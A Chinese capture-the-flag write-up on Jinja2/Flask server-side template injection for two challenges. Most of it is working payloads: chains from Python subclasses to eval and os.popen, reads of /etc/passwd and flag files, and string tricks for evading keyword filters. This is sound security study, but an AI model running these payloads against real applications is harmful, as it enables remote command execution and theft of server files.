web361

SSTI原理

SSTi学习

SSTI沙盒逃逸

网址输入“{undefined{7+7}}”页面显示14,说面存在“SSTI” :

SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

基础知识

常用方法

__class__           查看对象所在的类
__mro__ 查看继承关系和调用顺序,返回元组
__base__ 返回基类
__bases__ 返回基类元组
__subclasses__() 返回子类列表
__init__ 调用初始化函数,可以用来跳到__globals__
__globals__ 返回函数所在的全局命名空间所定义的全局变量,返回字典
__builtins__ 返回内建内建名称空间字典
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()) 都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
{{cycler.__init__.__globals__.os.popen('ls').read()}}
current_app 应用上下文,一个全局变量
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{config.__class__.__init__.__globals__['os'].popen('ls').read() }}

过滤器

int()		将值转换为int类型;

float() 将值转换为float类型;

lower() 将字符串转换为小写;

upper() 将字符串转换为大写;

title() 把值中的每个单词的首字母都转成大写;

capitalize() 把变量值的首字母转成大写,其余字母转小写;

trim() 截取字符串前面和后面的空白字符;

wordcount() 计算一个长字符串中单词的个数;

reverse() 字符串反转;

replace(value,old,new) 替换将old替换为new的字符串;

truncate(value,length=255,killwords=False) 截取length长度的字符串;

striptags() 删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;

escape()或e 转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。

safe() 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};

list() 将变量列成列表;

string() 将变量转换成字符串;

join() 将一个序列中的参数值拼接成字符串。示例看上面payload;

abs() 返回一个数值的绝对值;

first() 返回一个序列的第一个元素;

last() 返回一个序列的最后一个元素;

format(value,arags,*kwargs) 格式化字符串。比如:{{"%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!

length() 返回一个序列或者字典的长度;

sum() 返回列表内数值的和;

sort() 返回排序后的列表;

default(value,default_value,boolean=false) 如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。

length() 返回字符串的长度,别名是count

利用链

python2、python3 通用 payload(因为每个环境使用的python库不同 所以类的排序有差异)

直接使用 popen(python2不行)

os._wrap_close 类里有popen

"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()

使用 os 下的 popen

含有 os 的基类都可以,如 linecache

"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()

使用__import__下的os(python2不行)

可以使用 __import__ 的 os

"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()

__builtins__下的多个函数

__builtins__下有eval,__import__等的函数,可以利用此来执行命令

"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

利用 python2 的 file 类读取文件

在 python3 中 file 类被删除

# 读文件
[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()
[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()
# 写文件
"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')
# python2的str类型不直接从属于属于基类,所以要两次 .__bases__

flask内置函数

Flask内置函数和内置对象可以通过{{self.__dict__._TemplateReference__context.keys()}}查看,然后可以查看一下这几个东西的类型,类可以通过__init__方法跳到os,函数直接用__globals__方法跳到os。(payload一下子就简洁了)

{{self.__dict__._TemplateReference__context.keys()}}
#查看内置函数
#函数:lipsum、url_for、get_flashed_messages
#类:cycler、joiner、namespace、config、request、session
{{lipsum.__globals__.os.popen('ls').read()}}
#函数
{{cycler.__init__.__globals__.os.popen('ls').read()}}
#类
如果要查config但是过滤了config直接用self.__dict__就能找到里面的config

通用 getshell

原理就是找到含有 __builtins__ 的类,然后利用

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
#读写文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

注入思路

1.随便找一个内置类对象用__class__拿到他所对应的类
2.用__bases__拿到基类(<class 'object'>)
3.用__subclasses__()拿到子类列表
4.在子类列表中直接寻找可以利用的类getshell

对象→类→基本类→子类→__init__方法→__globals__属性→__builtins__属性→eval函数

payload解释

关于python魔术方法payload:"".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() 的解释  
# 获得一个字符串实例
>>> ""
''

# 获得字符串的type实例
>>> "".__class__
<type 'str'>

# 获得其父类
>>> "".__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)

# 获得父类中的object类
>>> "".__class__.__mro__[2]
<type 'object'>

# 获得object类的子类,但发现这个__subclasses__属性是个方法
>>> "".__class__.__mro__[2].__subclasses__
<built-in method __subclasses__ of type object at 0x10376d320>

# 使用__subclasses__()方法,获得object类的子类
>>> "".__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

# 获得第40个子类的一个实例,即一个file实例
>>> "".__class__.__mro__[2].__subclasses__()[40] mappingproxy
<type 'file'>

# 对file初始化
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd")
<open file '/etc/passwd', mode 'r' at 0x10397a8a0>

# 使用file的read属性读取,但发现是个方法
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read
<built-in method read of file object at 0x10397a5d0>

# 使用read()方法读取
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()
nobody:*:-2:-2:Unprivileged
User:/var/empty:/usr/bin/false
root:*:0:0:System
Administrator:/var/root:/bin/sh

[关于python魔术方法payload:"".class.mro[2].subclasses()[40]("/etc/passwd").read() 的解释]: https://xuanxuanblingbling.github.io/ctf/web/2019/01/02/python/

写一个python脚本带入执行查找flag

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %} //遍历基类 找到eval函数
{% if 'eval' in b.keys() %} //找到了
{{ b['eval']('__import__("os").popen("ls").read()') }} //导入cmd 执行popen里的命令 read读出数据
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}


//然后cat 就可以
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat /tmp/ddddd/2222/flag ").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
//我们可以改里面的命令

题目

参数呢???

image-20220328190651574

小小fuzz一下

image-20220328191752524

找到个name参数,发现一个xss

image-20220328191917686

不玩了,测试一下ssti

image-20220328192003008

发现存在模板注入

获得字符串的type实例
?name={{"".__class__}}

image-20220328192137444

获得其父类
?name={{"".__class__.__mro__}}

image-20220328192221359

获得父类中的object类
?name={{"".__class__.__mro__[1]}}

image-20220328192427878

获得object类的子类,但发现这个__subclasses__属性是个方法
?name={{"".__class__.__mro__[1].__subclasses__}}

image-20220328192545009

使用__subclasses__()方法,获得object类的子类
?name={{"".__class__.__mro__[1].__subclasses__()}}

image-20220328192626252

提供 os._wrap_close 中的 popen 函数
?name={{%27%27.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('tac ../flag').read()}}
# 这种方法的缺点在于需要找到 类 的索引

image-20220328193058507

来个脚本

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %} //遍历基类 找到eval函数
{% if 'eval' in b.keys() %} //找到了
{{ b['eval']('__import__("os").popen("ls").read()') }} //导入cmd 执行popen里的命令 read读出数据
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}


//然后cat 就可以
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat /tmp/ddddd/2222/flag ").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
//我们可以改里面的命令

用的时候可以把注释去掉

?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls /").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

image-20220328193657700

?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat /flag").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

image-20220328193722883

另外的方法

也可以直接用 lipsum 和 cycler 执行命令

?name={{lipsum.__globals__['os'].popen('tac ../flag').read()}}
?name={{cycler.__init__.__globals__.os.popen('ls').read()}}

或者用控制块去直接执行命令

?name={% print(url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat ../flag').read()"))%}

web362

ssti模板注入绕过

语法

  • {%%}可以用来声明变量,当然也可以用于循环语句和条件语句
  • {undefined{}}用于将表达式打印到模板输出
  • ``表示未包含在模板输出中的注释
  • ##可以有和{%%}相同的效果

变量

除了使用标准的python .(点)之外,还可以使用中括号来访问变量的属性.

{{"".__class__}}
{{""['__class__']}}

所以过滤了. 我们还可以使用中括号绕过个.如果想调用字典中的键值,其实本质上是调用了魔术方法__getitem__ 所以对于取字典中键值的情况不仅可以使用[],也可以使用__getitm__,当然对于字典来说,我们也可以用他自带的一些方法了.pop就是其中的一个

pop(key[,default])
参数
key: 要删除的键值
default: 如果没有 key,返回 default 值
删除字典给定键 key 所对应的值,返回值为被删除的值。key值必须给出。 否则,返回default值。

那么调用对象的方法具体是什么原理呢,其实他调用了魔术方法_getattribute_

"".__class__
"".__getattribute__("__class__")

如果题目过滤了class或者一些关键字,我们就可以通过字符串处理进行拼接了

  1. 拼接

    "cla"+"ss"
  2. 反转

    "__ssalc__"[::-1]

    在jinjia2里面,”cla””ss”是等同于”class”的

    ""["__cla""ss__"]
    "".__getattribute__("__cla""ss__")
    ""["__ssalc__"][::-1]
    "".__getattribute__("__ssalc__"[::-1])
  3. ascii转换

    "{0:c}".format(97)='a'
    "{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'
  4. 编码绕过

    "__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
    对于python2的话,还可以利用base64进行绕过
    "__class__"==("X19jbGFzc19f").decode("base64")
  5. 利用chr函数

    我们没有办法直接使用chr函数,因此需要通过__builtins__找到它

    {% set chr=url_for.__globals__['__builtins__'].chr %}
    {{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
  6. 在jinja2里面可以利用~进行拼接

    {%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}
  7. 大小写转换

    ""["__CLASS__".lower()]

过滤器

  1. attr

    attr用于获取变量

    ""|attr("__class__")
    相当于
    "".__class__

    这个大家应该见的比较多了,常见于点号(.)被过滤,或者点号(.)和中括号([])都被过滤的情况

  2. format

    { "%s, %s!"|format(greeting, name) }} 

    那么我们想要调用__class__就可以用format了

    "%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)=='__class__'
    ""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]
  3. first last random

    Return the first item of a sequence.
    Return the last item of a sequence.
    Return a random item from the sequence.

    random的话是随机返回,这样我们跑个脚本肯定是可以得到我们想要的

    "".__class__.__mro__|last()
    相当于
    "".__class__.__mro__[-1]
  4. join

    多了一种字符串拼接的方法

    ""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
    相当于
    ""["__class__"]
  5. lower

    ""["__CLASS__"|lower]
  6. replace reverse

    我们可以利用替换和反转还原回我们要用的字符串了

    "__claee__"|replace("ee","ss") 构造出字符串 "__class__"
    "__ssalc__"|reverse 构造出 "__class__"
  7. string

    功能类似于python内置函数 str有了这个的话我们可以把显示到浏览器中的值全部转换为字符串再通过下标引用,就可以构造出一些字符了,再通过拼接就能构成特定的字符串。

    ().__class__   出来的是<class 'tuple'>
    (().__class__|string)[0] 出来的是<
  8. select unique

    我们和上面的结合就会发现他们巨大的用处

    ()|select|string
    结果如下
    <generator object select_or_reject at 0x0000022717FF33C0>

    这样我们会拥有比前面更多的字符来用于拼接
    (()|select|string)[24]~
    (()|select|string)[24]~
    (()|select|string)[15]~
    (()|select|string)[20]~
    (()|select|string)[6]~
    (()|select|string)[18]~
    (()|select|string)[18]~
    (()|select|string)[24]~
    (()|select|string)[24]

    得到字符串"__class__"
  9. list

    转换成列表更多的用途是配合上面的string转换成列表,就可以调用列表里面的方法取字符了
    只是单纯的字符串的话取单个字符方法有限

    (()|select|string)[0]
    如果中括号被过滤了,挺难的
    但是列表的话就可以用pop取下标了
    当然都可以使用__getitem__

    (()|select|string|list).pop(0)

获取键值或下标

dict['__builtins__']
dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')
list[0]
list.__getitem__(0)
list.pop(0)

获取属性

().__class__
()["__class__"]
()|attr("__class__")
().__getattribute__("__class__")

image-20220331164902207

存在模板注入,上面语句之间拿来试试

?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls /").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

image-20220331165002752

过滤了啥

?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat /flag").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

image-20220331165047039

骗我